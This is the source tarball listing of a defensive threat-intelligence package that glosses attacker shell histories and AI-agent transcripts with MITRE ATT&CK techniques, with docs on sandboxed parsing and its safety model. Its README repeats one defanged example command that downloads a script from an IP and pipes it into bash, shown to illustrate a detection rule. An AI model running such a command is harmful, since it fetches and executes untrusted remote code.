interlinear-cti 0.1.0__tar.gz

interlinear_cti-0.1.0/.gitignore

@@ -0,0 +1,8 @@
+__pycache__/
+*.py[cod]
+.venv/
+dist/
+build/
+*.egg-info/
+.pytest_cache/
+out/

interlinear_cti-0.1.0/CHANGELOG.md

@@ -0,0 +1,64 @@
+# Changelog
+
+All notable changes to Interlinear are recorded here. Versions follow [Semantic Versioning](https://semver.org/).
+
+## 0.1.0 (2026-10-21)
+
+The first release.
+
+### Readers
+
+- Bash and zsh histories, PowerShell `ConsoleHost_history.txt`, shell scripts, PowerShell scripts and generic AI-agent
+  JSONL transcripts. A file's name or content decides how it is read; anything else is kept line by line as `unknown`.
+- Multi-line commands (continuations, quoted newlines, arrays, pipelines and heredocs) are read as one record, then
+  split at the newlines, `;`, `&&`, `||` and `&` that end a command. An oversized heredoc body is split with a warning
+  instead of being truncated.
+- An agent tool call that holds several commands is glossed one command at a time. Each part records where it came
+  from in a `part` entry: its index, the number of parts and its offset in the command as the agent sent it. The first
+  part also holds the whole command, which the Markdown view shows above the parts.
+
+### Safety
+
+- Only `interlinear parse` reads raw attacker files. It is standard-library Python that never executes its input,
+  opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
+  `interlinear build-parse-pyz` packages it as a single zipapp to run in a sandbox.
+- Every later stage reads only the resulting `transcript.json`.
+
+### Glosses
+
+- Every gloss is labeled by its source: `rule`, `model`, `analyst`, `none` (context) or `pending`.
+- The rule library, version 2026.10.6, holds 90 rules mapped to MITRE ATT&CK and ATLAS techniques, each with match
+  and no-match examples that `interlinear rules test` checks (`--verify` also checks every technique ID).
+- The context label is default-deny. A line is labeled context only when it is plainly literal printable ASCII, and
+  only while its file or session has not changed how later commands are found or run (an alias, a function, a shell
+  option, a sourced file, `PATH` or another special variable). A file or session with a NUL, a carriage return or
+  another control character gets no context label. The README explains what the label does and does not promise.
+- A PowerShell history or script whose line endings are all CRLF is read as if they were LF, so Windows files keep the
+  context label. A lone CR, mixed line endings or any other control character still removes it, and bash, zsh and sh
+  files with CRLF never get it.
+- Technique IDs are checked against Countermap's local MITRE data, through the `countermap` extra
+  (`countermap>=0.2,<0.3`).
+
+### Claude Code plugin
+
+- The `gloss` skill glosses the lines the rule library could not and submits them through
+  `interlinear apply-glosses`, which validates, defangs and bounds them and labels them `model`. Analysts record their
+  own glosses with `interlinear annotate`.
+- The skill runs on Haiku by default, which matched Opus on meaning and technique in trials on agent transcripts. Its
+  report lists every line left pending or glossed with low confidence, for an analyst to review.
+
+### Outputs
+
+- `transcript.json`, the source of truth for every later stage.
+- `interlinear render`: a Markdown interlinear view.
+- `interlinear export-scenario`: a Countermap scenario that Countermap can draw.
+
+### Documentation
+
+- `docs/design.md`: the pipeline, the safety model, the data model, the rule library and the known limits.
+- `docs/evaluation.md`: how far to trust each label, how the default-deny CONTEXT gates were tested, a sampled check
+  of rule glosses, coverage on public AI-agent duel transcripts, the model-tier trials, and the known limits.
+
+### Not yet included
+
+- A dedicated PentAGI reader, which waits for documented real samples.

interlinear_cti-0.1.0/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

interlinear_cti-0.1.0/NOTICE

@@ -0,0 +1,8 @@
+Interlinear
+Copyright 2026 Diego Parra
+
+Licensed under the Apache License, Version 2.0 (see LICENSE).
+
+MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.
+ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated
+with or endorsed by MITRE.

interlinear_cti-0.1.0/PKG-INFO

@@ -0,0 +1,148 @@
+Metadata-Version: 2.5
+Name: interlinear-cti
+Version: 0.1.0
+Summary: Line-by-line glosses of attacker shell histories, scripts and AI-agent transcripts, with every gloss labeled by its source.
+Project-URL: Homepage, https://github.com/elchacal801/interlinear
+Project-URL: Source, https://github.com/elchacal801/interlinear
+Project-URL: Issues, https://github.com/elchacal801/interlinear/issues
+Project-URL: Changelog, https://github.com/elchacal801/interlinear/blob/main/CHANGELOG.md
+Author: Diego Parra
+License-Expression: Apache-2.0
+License-File: LICENSE
+License-File: NOTICE
+Keywords: ai-agents,incident-response,mitre-attack,shell-history,threat-intelligence
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Information Technology
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Classifier: Topic :: Security
+Requires-Python: >=3.10
+Requires-Dist: pydantic>=2.8
+Requires-Dist: pyyaml>=6.0.1
+Provides-Extra: countermap
+Requires-Dist: countermap<0.3,>=0.2; extra == 'countermap'
+Provides-Extra: dev
+Requires-Dist: markdown-it-py[linkify]>=3.0; extra == 'dev'
+Requires-Dist: pytest>=8; extra == 'dev'
+Description-Content-Type: text/markdown
+
+# Interlinear
+
+Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:
+
+| Source | Meaning |
+|---|---|
+| `rule` | Matched the deterministic rule library |
+| `model` | Claude's analysis, through the gloss skill |
+| `analyst` | A person's edit, through `interlinear annotate` |
+| `none` | A context line the rule library recognized, such as `cd` or `ls`, or tool output, which is never glossed |
+| `pending` | Not glossed yet |
+
+A `model` or `analyst` gloss with no techniques marks a context line, and keeps its source. [docs/evaluation.md](https://github.com/elchacal801/interlinear/blob/main/docs/evaluation.md) says how far to trust each source and how that was tested, and [docs/design.md](https://github.com/elchacal801/interlinear/blob/main/docs/design.md) explains how Interlinear is built.
+
+### What the CONTEXT label means
+
+The rule library labels a line as context (`none`) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as `cd /tmp`, `ls -la` or `echo done`. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns `PATH` or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.
+
+```text
+  12  curl -s hxxp://203.0.113[.]5/x.sh | bash
+      T1105 Ingress Tool Transfer · T1059.004 Unix Shell   [rule: download-pipe-shell]
+      Downloads a script and pipes it straight into a shell, so it runs without being saved.
+```
+
+## Safety model
+
+- Only `interlinear parse` reads raw attacker files.
+  - It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
+  - Run it inside a sandbox: `interlinear build-parse-pyz` packages it as a single file for that.
+- Every later stage reads only the resulting `transcript.json`.
+- Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
+- The skill's glosses are untrusted too. `interlinear apply-glosses` validates, defangs and bounds them, labels them `model`, and only fills pending lines. Analyst glosses go through `interlinear annotate`, which the skill never runs.
+
+## Install
+
+With pipx, the second command also puts Countermap's own command on your PATH:
+
+```bash
+pipx install "interlinear-cti[countermap]"
+pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"
+```
+
+With uv:
+
+```bash
+uv tool install "interlinear-cti[countermap]" --with-executables-from countermap
+```
+
+With pip, inside a virtual environment:
+
+```bash
+pip install "interlinear-cti[countermap]"
+```
+
+Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.
+
+```bash
+countermap build
+```
+
+## Use
+
+```bash
+# 1. Parse, in a sandbox
+interlinear build-parse-pyz -o interlinear-parse.pyz
+mkdir -p out   # create it first, so the container user can write to it
+docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
+  --memory 3g --user "$(id -u):$(id -g)" \
+  -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
+  -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
+  python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE
+
+# 2. Gloss with the rule library, then the remaining lines with Claude Code
+interlinear gloss out/transcript.json
+#    then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
+#    or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
+#    followed by: /plugin install interlinear@interlinear
+#    and run: /interlinear:gloss out/transcript.json
+#    Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
+interlinear annotate out/transcript.json my-glosses.json --by "Your Name"
+
+# 3. Outputs
+interlinear render out/transcript.json                      # out/transcript.md
+interlinear export-scenario out/transcript.json -o scenario.json
+#    then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model
+```
+
+Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.
+
+## Input kinds
+
+A file's name or content decides how it is read, for example `.bash_history`, `.zsh_history`, `ConsoleHost_history.txt`, `.sh`, `.ps1` and agent `.jsonl`. A file that matches none of them is kept line by line as `unknown`.
+
+An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, `;`, `&&`, `||` and `&` that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a `part` entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.
+
+## The gloss skill
+
+The skill runs on Haiku by default (`model: haiku` in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with `interlinear annotate`. The skill pre-approves only `interlinear pending` and `apply-glosses`. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. `render` itself writes only `.md` files, never an agent instruction file such as `CLAUDE.md`, and never replaces a file it did not write.
+
+## Exit codes
+
+| Code | Meaning |
+|---|---|
+| 0 | Success |
+| 1 | Success with warnings |
+| 2 | Invalid input |
+| 3 | Internal or write error |
+
+A chain with `&&` stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.
+
+## License
+
+Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.

interlinear_cti-0.1.0/README.md

@@ -0,0 +1,113 @@
+# Interlinear
+
+Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:
+
+| Source | Meaning |
+|---|---|
+| `rule` | Matched the deterministic rule library |
+| `model` | Claude's analysis, through the gloss skill |
+| `analyst` | A person's edit, through `interlinear annotate` |
+| `none` | A context line the rule library recognized, such as `cd` or `ls`, or tool output, which is never glossed |
+| `pending` | Not glossed yet |
+
+A `model` or `analyst` gloss with no techniques marks a context line, and keeps its source. [docs/evaluation.md](https://github.com/elchacal801/interlinear/blob/main/docs/evaluation.md) says how far to trust each source and how that was tested, and [docs/design.md](https://github.com/elchacal801/interlinear/blob/main/docs/design.md) explains how Interlinear is built.
+
+### What the CONTEXT label means
+
+The rule library labels a line as context (`none`) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as `cd /tmp`, `ls -la` or `echo done`. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns `PATH` or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.
+
+```text
+  12  curl -s hxxp://203.0.113[.]5/x.sh | bash
+      T1105 Ingress Tool Transfer · T1059.004 Unix Shell   [rule: download-pipe-shell]
+      Downloads a script and pipes it straight into a shell, so it runs without being saved.
+```
+
+## Safety model
+
+- Only `interlinear parse` reads raw attacker files.
+  - It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
+  - Run it inside a sandbox: `interlinear build-parse-pyz` packages it as a single file for that.
+- Every later stage reads only the resulting `transcript.json`.
+- Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
+- The skill's glosses are untrusted too. `interlinear apply-glosses` validates, defangs and bounds them, labels them `model`, and only fills pending lines. Analyst glosses go through `interlinear annotate`, which the skill never runs.
+
+## Install
+
+With pipx, the second command also puts Countermap's own command on your PATH:
+
+```bash
+pipx install "interlinear-cti[countermap]"
+pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"
+```
+
+With uv:
+
+```bash
+uv tool install "interlinear-cti[countermap]" --with-executables-from countermap
+```
+
+With pip, inside a virtual environment:
+
+```bash
+pip install "interlinear-cti[countermap]"
+```
+
+Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.
+
+```bash
+countermap build
+```
+
+## Use
+
+```bash
+# 1. Parse, in a sandbox
+interlinear build-parse-pyz -o interlinear-parse.pyz
+mkdir -p out   # create it first, so the container user can write to it
+docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
+  --memory 3g --user "$(id -u):$(id -g)" \
+  -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
+  -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
+  python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE
+
+# 2. Gloss with the rule library, then the remaining lines with Claude Code
+interlinear gloss out/transcript.json
+#    then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
+#    or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
+#    followed by: /plugin install interlinear@interlinear
+#    and run: /interlinear:gloss out/transcript.json
+#    Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
+interlinear annotate out/transcript.json my-glosses.json --by "Your Name"
+
+# 3. Outputs
+interlinear render out/transcript.json                      # out/transcript.md
+interlinear export-scenario out/transcript.json -o scenario.json
+#    then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model
+```
+
+Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.
+
+## Input kinds
+
+A file's name or content decides how it is read, for example `.bash_history`, `.zsh_history`, `ConsoleHost_history.txt`, `.sh`, `.ps1` and agent `.jsonl`. A file that matches none of them is kept line by line as `unknown`.
+
+An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, `;`, `&&`, `||` and `&` that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a `part` entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.
+
+## The gloss skill
+
+The skill runs on Haiku by default (`model: haiku` in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with `interlinear annotate`. The skill pre-approves only `interlinear pending` and `apply-glosses`. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. `render` itself writes only `.md` files, never an agent instruction file such as `CLAUDE.md`, and never replaces a file it did not write.
+
+## Exit codes
+
+| Code | Meaning |
+|---|---|
+| 0 | Success |
+| 1 | Success with warnings |
+| 2 | Invalid input |
+| 3 | Internal or write error |
+
+A chain with `&&` stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.
+
+## License
+
+Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.

interlinear_cti-0.1.0/plugin/.claude-plugin/plugin.json

@@ -0,0 +1,13 @@
+{
+  "name": "interlinear",
+  "displayName": "Interlinear",
+  "version": "0.1.0",
+  "description": "Gloss the lines of an Interlinear transcript that the rule library could not, with MITRE ATT&CK® and ATLAS techniques verified through Countermap.",
+  "author": {
+    "name": "Diego Parra"
+  },
+  "homepage": "https://github.com/elchacal801/interlinear",
+  "repository": "https://github.com/elchacal801/interlinear",
+  "license": "Apache-2.0",
+  "keywords": ["threat-intelligence", "incident-response", "mitre-attack", "shell-history", "ai-agents"]
+}